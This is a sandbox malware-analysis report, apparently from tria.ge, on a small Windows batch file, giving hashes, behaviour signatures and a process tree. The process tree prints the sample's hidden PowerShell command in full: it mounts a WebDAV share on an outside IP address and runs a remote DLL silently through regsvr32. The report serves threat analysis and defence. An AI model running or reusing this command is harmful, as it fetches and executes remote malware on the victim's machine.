Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    19/07/2024, 06:36

General

  • Target

    27431290512703010994.bat

  • Size

    2KB

  • MD5

    fd53bd6629e0f28f82b35d1670ca9b97

  • SHA1

    941a13d8534b52c60e1a508a70be0b9fa9851473

  • SHA256

    c888c0ad843266b7dfc42c904b3d0ca76dc5ee28bf1ce297a8b2f41ae8363933

  • SHA512

    125d7fa1a7801dcacd7c24b6510ce5b6d918c3cd807bdffdc2865025438a225fc9e4817c6cee30e3a7f54db06570094d95f2cded6dcdeaf8e9d4a7d73963346d

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\27431290512703010994.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1188
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\239382109316501.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2480
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\239382109316501.dll
          3⤵
            PID:2536

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/1184-24-0x000000001B290000-0x000000001B572000-memory.dmp

        Filesize

        2.9MB

      • memory/1184-25-0x0000000001F20000-0x0000000001F28000-memory.dmp

        Filesize

        32KB